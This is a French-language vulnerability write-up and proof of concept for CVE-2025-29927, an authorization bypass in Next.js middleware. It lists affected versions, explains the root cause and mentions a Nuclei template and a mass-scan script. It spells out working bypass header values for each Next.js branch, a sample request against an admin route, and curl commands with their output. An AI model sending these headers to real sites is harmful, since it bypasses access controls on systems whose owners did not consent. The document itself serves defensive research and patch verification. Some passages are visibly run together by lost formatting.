
Analyse approfondie et PoC pour CVE-2025-29927, un contournement d'autorisation du middleware Next.js via l'en-tête x-middleware-subrequest. Comprend des modèles Nuclei et un script de scan de masse pour les tests.
Ce document présente une recherche sur la vulnérabilité CVE-2025-29927, affectant le mécanisme Middleware dans le framework Next.js.
Next.js est un framework open-source populaire de Vercel pour le développement d'applications basées sur React. Il prend en charge le rendu côté serveur, la génération statique et un système de middleware flexible, utilisé pour le routage, les redirections, les en-têtes de sécurité et la vérification des droits d'accès.
En mars 2025, une vulnérabilité critique CVE-2025-29927 a été découverte, liée au traitement d'un en-tête de service interne de sous-requête.
Le cœur du problème est la possibilité de contourner les vérifications d'autorisation dans les applications où le contrôle d'accès est implémenté dans le middleware, en injectant une valeur spéciale dans l'en-tête HTTP x-middleware-subrequest. Si la sécurité repose uniquement sur le middleware, un attaquant peut accéder à des routes ou données protégées.
Versions concernées de Next.js et correctifs (selon les sources publiques et la documentation officielle) :
Les correctifs sont disponibles dans les versions 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
Next.js est largement utilisé en production ; une vulnérabilité affectant la couche middleware (souvent utilisée pour l'authentification/l'autorisation et les politiques de sécurité) présente un risque pratique élevé.
Analyser pas à pas la vulnérabilité et réaliser un cycle complet de recherche :
Collecte et structuration des informations.
Systématiser les sources publiques relatives à CVE-2025-29927 ; décrire l'essence du défaut, les conditions de déclenchement et les versions/patches confirmés.
Définition du CPE et des conditions de configuration.
Fournir la liste des CPE/versions et décrire les configurations dans lesquelles la vulnérabilité se reproduit (par exemple, déploiement auto-hébergé et autorisation au niveau du middleware).
Démonstration sécurisée.
Préparer une démo reproductible dans un environnement de test (sans actions destructrices), confirmant le contournement du middleware dans les versions vulnérables.
Méthodes de vérification de masse.
Décrire et implémenter trois approches sécurisées :

Cause première. Dans Next.js, l'en-tête de service x-middleware-subrequest est utilisé pour suivre les sous-requêtes internes et éviter la récursion dans le middleware. Dans les branches vulnérables, les clients externes peuvent injecter cet en-tête avec une valeur « attendue » — et le moteur d'exécution saute l'exécution du middleware, transmettant la requête directement au gestionnaire de route.
Rôle de l'en-tête. L'en-tête x-middleware-subrequest était initialement conçu comme un indicateur interne indiquant que la requête HTTP actuelle a été lancée par le framework lui-même comme une sous-requête intermédiaire, et non directement par l'utilisateur.
Il est nécessaire au bon fonctionnement des mécanismes internes de Next.js : outre le routage, ce drapeau aide à éviter une récursion infinie en « marquant » chaque couche intermédiaire invoquée.
Mais c'est précisément cette logique qui a créé une faille de sécurité involontaire : un client qui ajoute lui-même un tel en-tête peut amener le système à traiter sa requête comme interne et ainsi contourner les vérifications d'autorisation.
Évolution de la logique.
Les enregistrements NVD actuels mentionnent le produit Vercel Next.js avec le logiciel cible node.js. Pour les branches vulnérables, les configurations suivantes sont applicables (plages de versions définies au niveau des configurations CPE dans NVD) :
| URI CPE | Plage de versions vulnérable |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
Remarque : la description CVE indique également qu'en général, « à partir de 11.1.4 et jusqu'à 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 », la vulnérabilité se reproduit si les conditions ci-dessous sont remplies.
next start, build avec output: 'standalone') ou tout environnement où le middleware s'exécute sur les requêtes entrantes sans filtrage périmétrique des en-têtes de service.x-middleware-subrequest (par exemple, règles WAF).x-middleware-subrequestAfin d'éviter une récursion infinie du code intermédiaire, le moteur d'exécution forme et lit l'en-tête de service :
: — ce qui donne un tableau de « sous-requêtes ».NextResponse.next()),x-middleware-subrequest-id), lié à la session en cours du processus ; s'il ne correspond pas, le x-middleware-subrequest entrant est nettoyé côté serveur.Un attaquant envoie une requête HTTP à l'application Next.js cible, en y ajoutant l'en-tête de service x-middleware-subrequest.
La valeur indique le chemin du fichier middleware — par exemple pages/_middleware, middleware ou src/middleware.
La valeur nécessaire dépend de la version de Next.js utilisée et de la structure du projet.
Lorsque cette requête atteint l'application, la logique interne du framework la perçoit comme une sous-requête interne et suppose que la couche intermédiaire a déjà été exécutée.
En conséquence, les contrôles d'authentification et d'autorisation qui se produisent normalement dans le middleware sont effectivement ignorés.
Important : ce matériel est fourni uniquement pour vérifier le correctif et modéliser le risque dans un environnement de test fermé.
Toute vérification dans une infrastructure de production n'est possible qu'avec l'autorisation du propriétaire des ressources.
Next.js utilise l'en-tête de service x-middleware-subrequest pour marquer les sous-requêtes internes et empêcher l'exécution récursive du middleware.
Lors du traitement de la requête, la valeur de l'en-tête est divisée par le caractère : et comparée au nom du middleware actif.
Dans les nouvelles versions, une limite de profondeur est ajoutée (MAX_RECURSION_DEPTH, généralement 5).
Si la condition (correspondance du nom ou atteinte de la limite) est remplie, Next.js saute le middleware et transmet la requête plus loin.
Un attaquant peut formuler une valeur d'en-tête correcte, imitant une sous-requête interne.
_middleware.*_middleware.js/ts et placés dans le répertoire pages/.x-middleware-subrequest: pages/_middlewaremiddleware.* racinemiddleware.js/ts./src.x-middleware-subrequest: middleware ou x-middleware-subrequest: src/middleware:, et si le nombre de répétitions du nom du middleware ≥ 5,NextResponse.next().x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware ou x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareDans les versions 15.x, les développeurs ont retravaillé la logique pour empêcher les appels récursifs infinis.
Lorsqu'un middleware se déclenche sur un chemin (par exemple /api/*), Next.js obtient une autre URL qui déclenche également le même middleware.
Le framework compte le nombre de déclenchements via l'en-tête x-middleware-subrequest.
Si le nombre d'appels atteint le seuil défini (MAX_RECURSION_DEPTH, par défaut 5), les appels ultérieurs au middleware sont bloqués.
Un attaquant peut exploiter ce comportement en indiquant à l'avance dans l'en-tête une valeur avec le nombre de répétitions nécessaire, atteignant ainsi artificiellement la limite de profondeur — en conséquence, le middleware est complètement ignoré.
pour les anciennes branches, la valeur de l'en-tête est choisie selon les variantes ci-dessus
GET /admin/dashboard HTTP/1.1
Host: <HOTE-TEST>
User-Agent: <VOTRE-CLIENT-LAB>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest a été conçu comme un mécanisme interne de protection contre la récursion infinie.
Mais dans les versions vulnérables, il n'y avait pas de filtrage des requêtes externes : le client pouvait falsifier l'en-tête,
remplir la condition de saut (correspondance du nom ou atteinte de la limite de profondeur)
et accéder directement au gestionnaire de la route protégée.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
Test :
(exemple basé sur Next.js 15.2.2 ; pour les autres branches, choisissez la valeur de l'en-tête selon le tableau dans la section PoC)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest au niveau du WAF/proxy.X-Middleware-Subrequest spécialement formaté.
⚠️ Attention : le modèle est destiné uniquement aux tests sur vos propres cibles ou des cibles autorisées. L'utiliser sur des services tiers sans le consentement des propriétaires est illégal.
python3 scan.py --targets-file FICHIER_CIBLES --paths-file FICHIER_CHEMINS --threads NOMBRE_THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |